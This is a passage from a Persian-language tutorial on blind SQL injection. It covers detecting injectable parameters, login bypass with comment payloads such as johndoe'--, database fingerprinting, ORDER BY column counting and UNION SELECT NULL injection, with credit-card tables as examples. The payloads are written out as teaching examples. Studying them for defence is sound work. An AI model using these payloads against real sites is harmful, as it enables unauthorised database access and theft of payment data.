Structured Query Language Injection توضیح اساسی حملات

Second Release
By Dangerous Wolf

به نام او که هر چه داریم از اوست

پیش گفتار:

بسیاری از محققان، دانشمندان و فلاسفه، سال ۲۰۰۰ را سال دست یابی به آرمان های بلند و ماورا طبیعی خود می دیدند. با این وجود پس از گذشت سال ۲۰۰۰، هیچ یک از آن آرزوهای فوق العاده ای که بشر از مدرنیزه شدن دنیای اطراف خود می دید، محقق نشد. هر چند تلاش های بسیاری صورت گرفت و دستاوردهای بسیاری حاصل شد، اما آن رویای دیرین بشر هیچ گاه به تحقق نپیوست. لذا دانشمندان سال ۲۰۲۰ را سال آرمان های خود قرار داده و تا زمان موعود، اصل را بر تولید علم نهادند نه انتقال علم. با این حال برای شروع، لازم است که فرد مقداری از طریق انتقال علم، ذهنیت و مهارت هایی اولیه، به دست آورد. پس از آن به تنهایی باید در این دریای مواج و پر تلاطم به حرکت بپردازد. بر همین اصل یعنی انتقال علم (مهارت های اولیه تا حرفه ای) و نیز بنابر درخواست های بسیاری بر آن شدم، تا یک Tutorial حول مبحث SQL Injection نوشته و آنرا در جهت رفع مشکلات، عزیزان ارائه دهم. به هر حال نباید فراموش کرد که تنها سیستمی را می توان از نظر امنیت مقداری در حد بالا در نظر گرفت که خاموش و از هم جدا باشد و در یک محفظه فلزی از جنس تیتانیوم قفل و توسط امواج گاما احاطه و در انباری زیر زمینی با عمق ۳۰۰ متر، مدفون شده باشد و با گازهای اعصاب و سربازان بسیار قوی جثه حول آن حفاظت شده باشد. حتی هنوز هم نمی توان گفت که امنیت به صورت ۱۰۰ درصد اعمال شده است. پس باید فکر عبارت صد در صد را در مباحث امنیتی به خصوص امنیت شبکه از سر بیرون کرد. همچنین باید خاطر نشان کرد که این مقاله از ۱۰ بخش مرتبط به هم تشکیل شده که هر کدام، از دیدگاه های مختلف، مبحث SQL Injection را مورد بحث و بررسی قرار می دهند. این نکته نیز باید ذکر شود که هر بخش بنابه دلایلی دارای مقدمه ای است. به هر حال هیچ گاه فراموش نکنیم که حملاتی که از طریقِ سری حملاتِ Injection و روش های مشابه آن انجام می شوند از ارزش کمتری برخوردار هستند.

با تشکر از عزیزانی که در عین کار بسیار، حقیر را در ارائه این مجموعه یاری فرمودند:

James Marshall – The top admin of "Astalavista Security Committee"
Adrian Lamo – "H4G1S Destroying Group" – Became WhiteHat
Zinho – The top admin of "Hackers Center Committee"
Steve Example – Gold Member of "Unix Wizard"
IDESpinner – The top admin of "Cracking Is Life –cracking- Team"
Ali Rashidi – The top admin of "Crouz Security Team"

بخش ۱: مقدمه

بسیـــــاری از Web Application های مدرن از جزئیات متحرک یا Dynamic Content ها برای آرشیوِ درخواستِ مبنی بر برنامه های windowing خود استفاده می کنند. این قدرت تحرک معمولا به وسیله دریافت اطلاعات بـه روز از بانـک اطلاعـاتی آرشـیو میشوند. یکی از محبوب ترین Platform هـا بـــرای ذخایراطـــــلاعات در وب (Web Data Store)، SQL مـی باشـد و بسیـــــاری از Web Application ها اساسا بر اسکریپت های front-end (front-end-scripts) که به سادگی از یک بانک اطلاعاتی SQL گـزارش و Query می گیرند، مبتنی هستند. یکی از موذیانه ترین حملات به یک web application، باعث عمل hijacking شـدن گـزارش هـا می شود. که این گزارش ها یا Query ها توسط front-end scripts برای دست یافتن به کنتـرل application و اطلاعـات آن اسـتفاده شده اند. یکی از موثرترین مکانیزم ها برای آرشیو کردن آن اسـتفاده از یـک تکنیـک اسـت کـه تحـت نـام SQL Injection در میـان نفوذگران استفاده میشود!

بانک های اطلاعاتی یا Database ها قلب یک وب سایت تجاری و بازرگانی هستند. یک حمله بـر روی سـرورهای بانـک هـای اطلاعاتی یا Database Servers می تواند یک ضرر مالی بزرگ برای شرکت بـه دنبـال داشـته باشـد. سـرورهای بانـک هـای اطلاعـاتی معمولا برای بدست آوردن اطلاعات کردیت کارت (CC Info) هک می شوند و تنها یک حمله بـر روی سـرور کـافی اسـت تـا از اعتبـار سایت کاسته شده و جمعیت سرازیر به سایت کم شوند همچنین کارمندان سایت خواستار امـن و محرمانـه شـدن اطلاعـات کـارت هـای اعتباری خود میشوند. بسیاری از سایت های دولتی از Microsoft SQL که MSSQL نامیده می شود (در result اسکنرها شاید چنـین نامی دیده باشید) و سرورهای بانک اطلاعاتی Oracle (Oracle DB Servers) استفاده می کنند. MSSQL هنوز کـم و بـیش در میـان مراکز فروش (Market) آنلاین دیده می شوند چرا که قیمت آن بسیار پـائین اسـت، در صـورتی کـه بـا قیمـت هـای بـالای سـرورهای Oracle روبرو میشویم!! چند وقت پیش Oracle ادعا بر غیرقابل نفوذ بودن سرورهای خود می کـرد. امـا نفـــــــــوذگران بـه مبـارزه برخواستند (!!) و حفره ها و bug های بسیاری در آن یافتند!

بخش ۲: توضیحات، حقه ها و نکات اساسی

تشخیص تزریق ها

برای اینکه عملیات SQL Injection به درستی عمل کند، بدیهی است که اولین گام، تشخیص آن است. برای انجام این کار، نفوذگر ابتدا باید بعضی انواع از نشانه هایی که دلالت بر وجود خطاها در سیستم است، ایجاد کند. اگرچه، پیام های خطا خودشان نمایش داده نمی شوند، application هنوز باید توانایی جدا کردن صحیح (یک درخواست صحیح) را از باطل (یک درخواست غیرمعتبر) داشته باشد و نفوذگر به راحتی می آموزد که چطور این آثار را بشناسد، خطاها را پیدا کند و تشخیص دهد آیا آنها به SQL مربوط می باشند یا خیر.

تشخیص خطاها

ابتدا، ما باید انواع خطاهایی که یک نفوذگر می تواند با آن مواجه شود را بشناسیم. یک Web Application می تواند خطاها را در دو نوع عمده تولید کند. اولین نوع خطا آن است که به وسیله Web Server در اثر یک مشکل تولید می شود (وجود exception) ! اگر دست نخورده باشند، این exception ها تمامی موارد را مانند هم ثمر می دهند '500: Internal Server Error'

معمولا، تزریق SQL هایی که با syntax اشتباه تزریق شوند (برای مثال: نبستن quote ها)، سبب می شوند که application این نوع از خطاها را بازگرداند. اگرچه، دیگر خطاها نیز ممکن است به یک چنین exception هایی هدایت شوند. یک فرآیند ساده برای جلوگیری از خطا این است که text های پیش فرض مربوط به این خطا را با یک صفحه HTML ساختگی عوض و replace کنیم. اما با مشاهده کردن خطی که به عنوان جواب برگشت داده شده است خودش این حقیقت را آشکار می سازد که این یک خطا از/در سرور می باشد. در دیگر موارد، تلاش های دیگری برای متوقف کردن خطاها انجام شده است و پاسخ نادرست ممکن است به سادگی به یک عملیات redirect به صفحه اصلی یا قبلی منجر شود یا شاید یک پیام خطای نوعی که هیچ اطلاعاتی را ارائه نمی دهد.

دومین نوع از خطاها به وسیله کدهای application (application code) تولید می شود و معمولا به برنامه نویسی بهتری اشاره دارد. در این مورد، Application، چشم داشت به موارد نامعتبر خاصی دارد و می تواند یک پیام خاص ساختگی را برای آنها نمایش دهد. اگرچه معمولا این نوع از خطاها باید به عنوان قسمتی از یک جواب معتبر (200) بازگشت داده شوند، همچنین ممکن است آنها با redirect ها یا دیگر وسایل اخفا که بسیار شبیه Internal Server Error هستند، عوض و replace شوند.

یک مثال ساده می تواند فرق بین این دو نوع را بازگو کند:

بیایید دو application برای کارهای بازرگانی را پیش خود مجسم کنیم که با نام های A و B آنها را از هم جدا نگه می داریم. هر دوی این application ها از یک صفحه با نام proddetails.asp استفاده می کنند. این صفحه انتظار دارد که یک پارامتر را با نما ProdID دریافت کند. این صفحه بعد از دریافت این پارامتر، جزئیات محصول را از بانک اطلاعاتی برداشت می کند، سپس، بعضی دستکاری ها را روی رکورد بازگشته (returned)، انجام می دهد. هر دوی این application ها، proddetails.asp را تنها از یک لینک فراخوانی می کنند، بنابراین، ProdID باید همیشه معتبر و valid باشد. A Application با همین مورد قانع و متقاعد خواهد بود و هیچ بررسی اضافی را انجام نخواهد داد. هنگامی که یک نفوذگر کنش و واکنش پنهانی با ProdID برقرار می کند، یک ID را insert می کند که هیچ ردیفی در جدول بر طبق آن وجود ندارد، در نتیجه آن یک recordset خالی برگشت داده می شود.

به دلیل اینکه، Application A یک recordset خالی را انتظار نداشته است، هنگامی که تلاش می کند اطلاعات را در رکورد دستکاری کند، یک exception محتمل بر وقوع خواهد بود که شبیه تولید یک '500: Internal Server Error' می باشد. اما، Application B، بررسی می کند که قبل از هر گونه دستکـــــاری در recordset، اندازه و ظرفیت آن بیشتر از 0 باشد. اگر این مورد صادق نباشد، یک پیام به صورت 'No such Product' ظاهر می شود که ادعا دارد چنین محصولی وجود ندارد. یا اگر برنامه نویس بخواهد خطا را مخفی کند، می تواند کاربر را در صورت پیشامد این خطا، مجددا به همان لیست محصولات بازگرداند. یک نفوذگر تلاش می کند که یک عملیات SQL Injection چشم بسته را انجام ندهد. بنابراین، نخست سعی می کند چندین درخواست نامعتبر و invalid تولید کند و بفهمد که چطور application با خطاها دست و پنجه نرم می کند (!!!) و همچنین از آن هنگامی که یک خطای SQL اتفاق می افتد، چه انتظاری دارد.

تعیین محل کردن خطاها

با در دست داشتن اطلاعاتی درباره Application، نفوذگر اکنون می تواند به دومین گام از حمله پیش برود، که آن تعیین محل کردن خطاهایی است که نتیـجه ورودی های دستکاری شده هستند. به این منظور، آزمایش های عادی تکنیک های SQL Injection انجام می شوند، از قبیل: اضافه کردن کلمات کلیدی SQL یا SQL Keyword ها مثل:OR, AND و ... . همچنین اضـــــافه کردن META Character ها مثل ; یا ' !!

هر پارامتر به طور مجزا تست می شود و جواب به دقت برای تعیین کردن اینکه آیا یک خطا اتفاق افتاده است، امتحان می شود. با استفاده از قطع کردن یک پراکسی یا Intercepting Proxy یا ابزاری از این قبیل، شناختن redirect ها و دیگر خطاهای مخفی فرضی راحت خواهد بود. هر پارامتر که یک خطا را برمی گرداند، مشکوک خواهد بود. مشکوک بر این که شاید یک آسیب پذیری برای SQL Injection باشد. همچنان، همه پارامترها به صورت جدا با فرض اینکه این درخواست معتبر و valid می باشد، تست و آزمایش می شوند. این کار در این مورد بسیار مهم می باشد، چنانکه این فرآیند باید تمامی علل ممکن برای خطاها را متفاوت از خود injection، خنثی کند. نتیجه این فرآیند معمولا یک لیست طویل از پارامترهای مشکوک خواهد بود. بعضی از این پارامترها شاید براستی برای SQL Injection آسیب پذیر باشند و شاید exploit شوند. دیگر پارامترها شاید مواردی باشند که به SQL ربطی نداشته باشند و باید دور انداخته شوند. بنابراین گام بعدی برای نفوذگر، تشخیص دادن pick of litter است (!!!)، که در مثال ما، آنهایی است که براستی برای SQL Injection آسیب پذیر می باشند.

تشخیص پارامترهای آسیب پذیر برای SQL Injection

برای اینکه بهتر بفهمیم چگونه این کار انجام می شود، بسیار مهم است که انواع اصلی اطلاعات در SQL را بشناسیم. فیلدهای SQL، معمولا می توانند به عنوان یکی از سه نوع اصلی شناخته و دسته بندی شوند که آنها عددی، رشته ای و تاریخی می باشند که به آنها Number و String و Date می گوئیم. هر کدام از این انواع برای خود ویژگی هایی دارند، اما برای فرآیند Injection بی ربط و خارج از موضوع می باشند. هر پارامتر انتقال یافته از web application به سمت SQL Query، به عنوان یکی از انواع مطرح می شود و معمولا تشخیص و تعیین کردن نوع آن بسیار راحت می باشد ('abc' معمولا یک String است، در حالیکه 4 محتملا به صورت number است، اگرچه باید همچنین، به عنوان یک string مطرح شود). در زبان SQL، پارامترهای عددی همان طور که هستند به سرور گذر داده می شوند در حالیکه رشته ها و تاریخ ها با quote هایی در کنارشان گذر داده می شوند. برای مثال:

```
SELECT * FROM Products WHERE ProdID = 4
```

در مقابل

SELECT * FROM Products WHERE ProdName = 'Book'

هرچند، SQL Server، پروا ندارد چه نوع از عبارات را با طولی که برای نوع مربوطه براستی مورد نیاز است در حال دریافت آنها است. این رفتار، به نفوذگر قدرتی می دهد که به بهترین روش می تواند تشخیص دهد آیا یک خـــطا به راستی یک خطای مربوط به SQL می باشد یا خیر. با مقادیر عددی، بهترین روش بـــــــرای دست و پنجه نرم کردن با آن، استفاده از عملگرهای حسابی اصلی یا Basic Arithmetic Operation ها می باشد. برای مثال، درخواست زیر را در نظر می گیریم:

/myecommercesite/proddetails.asp?ProdID=4

تست کردن آن، برای SQL Injection بسیار ساده خواهد بود. راه اول به وسیله تزریق '4 به عنوان پارامتر می باشد. راه دیگر به وسیله استفاده از 1 + 3 به عنوان پارامتر می باشد. این پارامتر به راستی به یک درخواست SQL گذر داده می شود. نتایج این دو آزمایش دو گزارش SQL زیر می باشند:

(1) SELECT * FROM Products WHERE ProdID = *4'*
(2) SELECT * FROM Products WHERE ProdID = *3 + 1*

اولین مورد، به طور قطع یک خطا را مبنی بر اینکه یک ساختار اشتباه از SQL وارد شده است، تولید خواهد کرد. اما، دومین مورد، به آرامی اجرا خواهد شد و در جواب به صورتی خواهد بود که اگر از پارامتر اصلی استفاده می کردید، همان جواب را می گرفتید (یعنی ProdID برابر با ۴) و این مورد نشان می دهد که این پارامتر برای SQL Injection آسیب پذیر می باشد.

یک تکنیک مشابه می تواند برای تعویض پارامتر با یک ساختار عبارت رشته ای SQL یا SQL Syntax String Expression استفاده شود. تنها دو تفاوت وجود دارد. اول اینکه، پارامترهای رشته ای در داخل quote هایی نگه داری می شوند بنابراین انجام breaking out از quote ها نیاز است. دوم اینکه، SQL Server های مختلف، به طبع از ساختارهای مختلفی نیز برای الحاق (concatenation) رشته ها استفاده می کنند. برای مثال، Microsoft SQL Server از علامت + برای الحاق رشته ها استفاده می کند، در حالیکه، Oracle از || برای انجام همان عمل استفاده می کند. به غیر از این موارد، تقریبا می توان گفت که تکنیک های مشابهی برای انجام این عملیات استفاده می شود. برای مثال:

/myecommercesite/proddetails.asp?ProdName=Book

تست کردن این مورد برای SQL Injection، ناچار تعویض پارامترهای ProdName را به دنبال دارد. یکبار با یک رشته غیرمعتبر مثل 'B و یک بار با یک رشته ای که می تواند یک عبارت رشته ای معتبر همچون 'B' + 'ook تولید کند (یا 'B' || 'ook در Oracle). این نتایج به صورت زیر گزارش می شود:

(1) SELECT * FROM Products WHERE ProdName = '*Book*'
(2) SELECT * FROM Products WHERE ProdID = '*B' + 'ook*'

خاطر نشان می شود که اولین گزارش تولید یک خطای SQL می کند در حالی که دومین گزارش به محصول مشابهی همچون تقاضای اولیه مراجعه می نماید (book) که ارزش آن Book است. همچنین، هر عبارت ای را می توان مورد استفاده قرار داد و جایگزین پارامترهای اولیه و اصلی کرد. وظایف یا توابع خاص سیستمی را می توان مورد استفاده قرار داد و یک عدد، رشته یا یک تاریخ (برای مثال، در Oracle، sysdate یک عبارت تاریخی بر می گرداند در حالی که در SQL Server، عبارت getdate() همان کار را انجام می دهد). همچنین، دیگر تکنیک ها را می توان استفاده کرد و مشخص نمود که آیا تزریق SQL اتفاق افتاده یا خیر همانگونه که می

توان ملاحظه کرد تشخیص اینکه SQL Injection اتفاق افتاده یک وظیفه بسیار ساده است حتی بدون اینکه پیام های خطایی بوجود آمده باشد به نفوذگر اجازه می دهد که به سادگی حمله اش را دنبال کند.

انجام تزریق

هنگامی که تزریق به وسیله نفوذگر تشخیص داده شد، مرحله بعد این است که آنرا اکسپلویت کند. به این منظور، نفوذگر باید syntax حقیقی را تولید کند، سرورهای بانک اطلاعاتی مشخصی را شناسایی کرده و اکسپلویت مورد نیاز را بسازد.

به دست آوردن Syntax و ساختاری درست

این مورد معمولا نیرنگ آمیزترین قسمت در فرآیند تزریق SQL به صورت چشم بسته (Blindfolded) می باشد. اگر گزارشات اصلی ساده باشند، این مورد نیز ساده خواهد بود. اما، اگر گزارش اصلی پیچیده باشد، برای اجرای بدون نقص آن، احتیاج به آزمون و خطای بسیاری خواهد داشت. در هر حال، تنها تعدادی تکنیک های اساسی برای انجام این آزمایشات نیاز است. ساختار اساسی آن استفاده از جملات SELECT … WHERE می باشد و پارامتر تزریق شده به عنوان بخشی از عبارت WHERE به کار می رود. برای دریافت یک ساختار حقیقی، نفوذگر باید قادر باشد که اطلاعات یا داده های خود را به جمله WHERE اولیه (اصلی) به گونه ای الحاق کند که داده های متفاوتی را دریافت کند. در application های ساده، اضافه کردن OR 1=1 می تواند این حقه را اغلب پیاده کند. در بسیاری از موارد نیز، قادر به اکسپلویت کامل نخواهد بود. اغلب اوقات، پرانتز باید بسته شده باشد، به طوری که آنها با پرانتزهای باز اولیه موافق باشند. مشکل دیگر که ممکن است اتفاق بیفتد این است که یک گزارش مخفی ممکن است باعث شود که application تولید خطا کند که از طریق خطای SQL قابل تشخیص و شناسایی نیست (برای مثال: اگر فقط یک رکورد مورد نیاز باشد و OR 1=1 باعث شود که بانک اطلاعاتی ۱۰۰۰ رکورد را برگرداند، application تولید خطا خواهد نمود).

چون هر عبارت WHERE اساسا مجموعه ای از عبارات است که به صورت صحیح یا غلط ارزیابی می شوند، همراه با OR, AND و پرانتز ساختار صحیحی را به وجود می آورد که پرانتز را دچار اختلال نموده و گزارشی را که با استفاده از ترکیبات مختلف انجام شده است، به طور صحیح خاتمه خواهد یافت. برای مثال: اضافه کردن 'AND 1=2 کل عبارت را تبدیل به یک عبارت غلط خواهد گرفت. در حالی که استفاده از 'OR 1=2 نتیجه صفر خواهد داشت، به جز تقدم علامت ها یا Operator Precedence.

در مورد بعضی از تزریق ها، صرف تغییر ساده عبارت WHERE کفایت خواهد کرد. در حالی که در بعضی از تزریق های دیگر همچون UNION SELECT یا تزریق های رویه های ذخیره شده، تنها تغییر عبارت WHERE برای بیان منظور و انجام کارکافی نخواهد بود. در یک چنین مواردی، عبارت یا جمله SQL باید به نحوی صحیح خاتمه پیدا کند به طوری که ساختار اضافی را بتوان به آن الحاق نمود. به این منظور یک تکنیک بسیار ساده را می توان مورد استفاده قرار داد. پس از اینکه حمله کننده یک ترکیب صحیح یا حقیقی از AND, OR 1=2 و 1=1 را به کار ببرد، علامت توضیح SQL را می توان مورد استفاده قرار داد.

این علامت، با استفاده از دو علامت خط تیره متوالی (--) بیان شده و SQL Server را به گونه ای دستور می دهد تا ادامه و بقیه خط ورودی را در دستور را فراموش کند (Ignore). برای مثال، اجازه بدهید به یک صفحه لاگین ساده نگاه کنیم که هم User Name و Password را در گزارش دارد. مانند زیر:

SELECT Username, UserID, Password FROM Users WHERE Username = ‘user’ AND Password = ‘pass’

با فرستادن johndoe'-- به عنوان کاربر (User)، عبارت WHERE زیر تولید می شود:

WHERE Username = ‘*johndoe’* --'AND Password = ‘pass’

در این مورد، نه تنها ساختار صحیح است، بلکه اعتبارسازی آن دور زده شده است (bypass). اجازه دهید یک جمله WHERE متفاوت دیگری را بررسی کنیم:

WHERE (Username = ‘user’ AND Password = ‘pass’)

توجه به پرانتزها داشته باشید. در این صورت تزریق مشابه (jonhdoe' --)، باعث خواهد شد که گزارش با خطا مواجه شود:

WHERE (Username = ‘*johndoe'* --' AND Password = ‘pass’)

این گزارش با پرانتزها نمی خواند و بنابراین اجرا نخواهد شد. این مثال، همچنین، نشان می دهد که چگونه می توان از علامت توضیح استفاده کرد و فهمید که آیا گزارش به نحو صحیحی خاتمه پیدا کرد یا خیر. اگر علامت توضیح اضافه شود و خطایی صورت نپذیرد، به این معنی است که قبل از توضیح (comment) به نحو صحیحی انجام شده است. در غیر این صورت، احتیاج آزمون و خطای بیشتری است.

تشخیص بانک اطلاعاتی

گام بعدی که نفوذگر باید قبل از آغاز اکسپلویت در تزریق SQL به کار ببرد آن است که بانک اطلاعاتی خاص مورد استفاده را تشخیص دهد. خوشبختانه (حداقل برای نفوذگر)، این کار به مراتب ساده تر از پیدا کردن ساختار صحیح آن است. چند حقه ساده به نفوذگر اجازه می دهد که نوع بانک اطلاعاتی را تشخیص دهد و این مورد به تفاوت هایی که بین کاربردهای خاص موتورهایی بانک اطلاعاتی وجود دارد، مربوط می شود. مثال های زیر تفاوت های بین Oracle و Microsoft SQL Server را مورد بررسی قرار می دهد. برای تشخیص دیگر موتورهای بانک اطلاعاتی، می توان از تکنیک های ساده مشابهی استفاده کرد. یکی از حقه های بسیار ساده که قبلا مورد اشاره قرار گرفت تفاوت الحاق در رشته ها است. با فرض اینکه ساختار را بدانیم و نفوذگر قادر باشد که عباراتی اضافی را به جمله WHERE اضافه کند، یک مقایسه رشته ای ساده را می توان با استفاده از این الحاق ها انجام داد. برای مثال:

AND 'xxx' = 'x' + 'xx'

با جایگزین کردن علامت + با ||، Oracle به راحتی می تواند از MS SQL یا بانک اطلاعاتی دیگر، تفکیک شود. تکنیک دیگر استفاده از کاراکتر ; می باشد. در SQL یک ; مورد استفاده قرار می گیرد تا چند عبارت SQL در یک خط به هم زنجیره شوند. در حالی که با SQL Injection می توان آنرا در داخل کد تزریق قرار داد، در Driver های Oracle، امکان استفاده از ; به این شیوه وجود ندارد. با فرض اینکه این comment به نحو صحیح کار کند (یعنی خطایی تولید نکند) اضافه کردن یک ; قبل از آن اثری بر روی MS SQL ندارد و این در حالی است که در Oracle تولید خطا می کند. بعلاوه، بررسی هر یک از دستورات اضافه می تواند پس از یک ; مورد استفاده قرار گیرد مشروط بر اینکه یک عبارت COMMIT به آن اضافه شده باشد (برای مثال: تزریق -- COMMIT : 'xxx).
با فرض اینکه، این عبارت را بتوان آنجا تزریق نمود، هیچ گونه خطایی تولید نخواهد شد. در نهایت بعضی از عبارت ها را می توان با استفاده از توابع سیستمی جایگزین نمود که ارزش های صحیح را باز می گردانند. چون هر بانک اطلاعاتی از توابع متفاوتی استفاده میکند به راحتی می توان از این طریق نوع بانک اطلاعاتی را نیز تشخیص داد (همچون مثال تابع تاریخی فوق الذکر:

getdate() در MS SQL دربرابر sysdate در Oracle

اکسپلویت کردن تزریق

با در دست داشتن تمامی اطلاعات مناسب، نفوذگر اکنون می تواند تزریق را خودش به پیش ببرد. در حالی که کدهای اکسپلویت را می سازد، دیگر احتیاجی به داشتن اطلاعاتی در مورد پیام های خطا ندارد و می تواند اکسپلویت ها را بر اساس تمامی تکنیک های SQL Injection شناخته شده، بنا نماید. تنها تکنیک اکسپلویت کردن که در این مقاله مورد بحث بیشتری قرار میگیرد، تزریق جمله UNION SELECT است که در بعد توضیح داده می شود.

تزریق های UNION SELECT

اگرچه، مذاکرات پنهانی با جملات SELECT … WHERE می تواند در بسیاری از application ها بسیار خوب و شایسته است. نفوذگر غالب اوقات می خواهد که یک تزریق UNION SELECT انجام بدهد. برخلاف، استفاده از جملات WHERE، نفوذگر می تواند با استفاده از تزریق UNION SELECT به تمامی جداول موجود در سیستم دسترسی پیدا کند که در غیر این صورت قابل دسترسی او نیست. چون اجرای جملات UNION SELECT مستلزم داشتن اطلاعاتی در خصوص تعداد فیلدها در گزارش و همچنین نوع هر یک از فیلد ها است، بنابراین می توان انتظار داشت که بدون پیام های خطا نتواند اجرا شود به ویژه وقتی که تعداد فیلدها در گزارش اصلی و اولیه بزرگ و زیاد باشد. در قسمت های بعدی، تکنیک های ساده ای را ارائه خواهیم کرد که به سادگی مشکل فوق را حل خواهند نمود. قبل از آن، بدیهی است که نفوذگر باید ساختارهایی صحیح داشته باشد. در فصل پیشین، گفته شد که این کار امکان پذیر است و چگونگی انجام آن نیز نشان داده شد. مهم ترین تذکر لازم برای ساختار این است که با UNION SELECT تشخیص ساختار بایستی در سطحی باشد که تمامی پرانتزهای مورد تقاضا را دور زده و امکان تزریق UNION یا دیگر دستورات را فراهم سازد (همانگونه که در قبل اشاره شد، این کار با الحاق علامت توضیح در تزریق جامع عمل به خود می پوشد). وقتی که ساختار صحیح باشد، یک جمله UNION SELECT می تواند به گزارش اصلی الحاق شود. جمله UNION SELECT باید تعداد ستون ها و نوع ستون های آن باید شبیه جمله اولیه باشد. در غیر این صورت خطا تولیدمی شود.

شمارش ستون ها

شمارش تعداد ستون ها، ممکن است که به نظر برسد در تکنیک های معمولی UNION SELECT برای SQL Injection غیرممکن باشد. تنها راه انجام آن، ایجاد تزریق UNION SELECT و کوشش برای تولید تعداد متفاوتی از فیلدهاست (یک ستون در هر کوشش). هنگامی که پیام خطای Column Number Mismatch را توسط Column Type Mismatch جایگزین می نماییم، تعداد صحیح ستون ها را پیدا خواهیم کرد و گام بعدی را دنبال می کنیم. وقتی چشم بسته کار می کنیم، هیچ علامتی را در رابطه با نوع خطاها نخواهیم داشت و در نتیجه این روش کاملا بیهوده خواهد بود.

بنابراین می توان روشی دیگر، برای تعیین تعداد ستون ها به کار برد. برای این منظور از عبارت ORDER BY استفاده می کنیم. افزودن یک عبارت ORDER BY به انتهای عبارت SELECT موجب تغییر ترتیب نتایج موجود در record-set می شود. این کار را می توان با مشخص کردن نام یک ستون یا ستون هایی sort انجام داد. **

به مثالی از یک گزارش مالی توجه کنید. یک تزریق معتبر در پارامتر شماره کارت اعتباری می تواند 11223344) ORDER BY CCNum -- باشد که منجر به گزارش زیر خواهد شد:

```
SELECT CCNum FROM CreditCards
WHERE (AccNum=11223344) ORDER BY CCNum --
AND CardState='Active') AND UserName='johndoe'
```

نکته قابل تذکر این که، عبارت ORDER BY را می توان به صورت عددی نیز نوشت. در این مورد، عبارت به جای نام ستون به شماره ستون مراجعت خواهد کرد. به این معنی که تزریق کردن – 1 ORDER BY (11223344 درست بوده و دقیقا شبیه مورد قبلی است. زیرا CCNum اولین فیلد در نتیجه گزارش می باشد. اما، تزریق -- 2 ORDER BY (11223344، تولید خطا خواهد کرد چون که این گزارش فقط دارای یک فیلد است به این معنی که نتیجه آن را نمی تواند توسط دومین فیلد مرتب شود.

بنابراین، هنگامی که قصد بر شمارش تعداد فیدها داریم، دستور ORDER BY می تواند مفید واقع شود. نخست، نفوذگر یک عبارت ORDER BY 1 را به ساختار اصلی خود اضافه می کند. چون هر گزارش SELECT، باید حداقل دارای یک فیلد باشد. این دستور اجرا می شود و کار خواهد کرد. اگر چنانچه خطایی در مورد آن دریافت شد، ساختار بایستی با عباراتی دیگر تکمیل شود تا دیگر ظاهر نشود (اگرچه احتمال می رود، که sort کردن آنها موجب ایجاد یک خطا در application شود. اضافه کردن ASC یا DESC مشکل را حل خواهد کرد). هنگامی که یک ساختار صحیح دارای ORDERY BY باشد و بدون اشکال کار کند، نفوذگر ترتیب را از ستون ۱ به ستون ۱۰۰ تغییر می دهد (یا ۱۰۰۰ یا هر چیزی که مطمئن است، غیر معتبر است). در این لحظه، خطایی ایجاد می شود و نشان می دهد که عملیات شمارش کار می کند.

اکنون، نفوذگر روشی در اختیار دارد تا تشخیص دهد که کدام شماره ستون وجود دارد و کدام شماره وجود ندارد و همچنین به سادگی می تواند تعداد صحیح ستون را تشخیص دهد. نفوذگر احتیاج به آن دارد که این عدد را افزایش دهد. هر بار یک شماره را افزایش دهد تا یک پیام خطا دریافت کند (چون بعضی ستون ها ممکن است از نوعی باشند که امکان مرتب شدن ندارند. همیشه توصیه می شود که یک یا دو عدد اضافی آزمایش شوند و اطمینان حاصل شود که خطایی دریافت شده است). با این تکنیک، تعداد فیلدها شمارش شده و پیام های خطا دیگر نیاز نیستند.

تشخیص نوع ستون ها

به این ترتیب، در صورت در اختیار داشتن ساختار صحیح، فروشنده بانک اطلاعاتی و تعداد فیلدهای شمارش شده، چیزی که برای نفوذگر باقی می ماند آن است که نوع فیلدها را شناسایی کند. اگرچه، تعیین نوع فیلدها نیز با حقه بازی انجام خواهد شد. نوع فیلدها بایستی با گزارش اولیه مطابقت داشته باشند. اگر چنانچه تنها چند فیلد موجود باشند، این کار به سادگی می تواند به کمک عملیات Brute Force انجام شود. اما اگر تعداد فیلدها بیشتر باشد، مشکلاتی بوجود خواهد آمد. همان طور که در قبل متذکر شدیم: سه نوع اساسی در فیلدها وجود دارند: عددی – رشته ای و تاریخی

بنابراین، داشتن ۱۰ فیلد به این معناست که تعداد ۳۱۰ ترکیب (تقریبا ۶۰۰۰۰ مقدار) وجود دارد. پس وقتی که ۲۰ تقاضا در ثانیه داشته باشیم، تقریبا ۱ ساعت وقت خواهد گرفت. در صورتی که تعداد فیلدها بیشتر از این باشد، فرآیند کلی را مختل و غیر ممکن خواهد ساخت. وقتی که در تاریکی کار می کنیم، لازم است که روش ساده تری را مورد استفاده قرار بدهیم که به صورت NULL Keyword ها در SQL ظاهر می شوند. برخلاف تزریق در فیلدهای ایستا که از یک نوع مشخص هستند (همچون یک رشته یا یک عدد صحیح)، عبارت NULL با همه انواع آن سازگار است. بنابراین می توان یک عبارت یا جمله UNION SELECT را تزریق کرد که تمامی فیلدها در آن NULL باشند و در نتیجه هیچ نوع پیام خطای عدم تطبیق ظاهر نشود. اجازه بدهید که یک گزارش شبیه مثال پیشین را ذکر نمائیم:

```
SELECT CCNum,CCType,CCExp,CCName FROM CreditCards
WHERE (AccNum=11223344 AND CardState='Active')
AND UserName='johndoe'
```

تنها تغییر آن است که فیلد CCNum با چند فیلد دیگر جایگزین شده است. بنابراین ما فیلدهای بیشتری را خواهیم داشت. با فرض اینکه نفوذگر به طور موفقیت آمیزی توانسته تعداد ستون های نتیجه ی این گزارش را شمارش کند (در این مثال ۴ تا)، هم اکنون به سادگی می تواند یک جمله UNION را با تمامی NULL ها تزریق کرده و یک عبارت FROM را داشته باشد که باعث می شود خطاهای مجوز یا Permission Error ها تولید نشوند (همچنین، تلاش برای جدا کردن هر مشکل و مورد، بنابراین مشکلات مخصوص مجوزها (Permission Issues) در آینده کالبد شکافی و handle خواهند شد).

در MS SQL، عبارت FROM را می توان به سادگی حذف کرد که یک ساختار درست و معتبر خواهد بود. در Oracle، استفاده از یک جدول به نام DUAL مفید خواهد بود. اضافه کردن جمله WHERE که همیشه به صورت غلط ارزیابی می شود (از قبیل: WHERE 1=2) این تضمین را به ما می دهد که هیچ record-set حاوی ارزش صفر (NULL) برنخواهد گشت و در نتیجه پیام های خطای احتمالی را حذف خواهد کرد (بعضی از application ها، با ارزش NULL به درستی کار نمی کنند). اجازه بدهید که یک نگاهی به مثال MS SQL Server داشته باشیم، اگرچه که همین ها در مورد Oracle نیز صدق خواهد کرد:

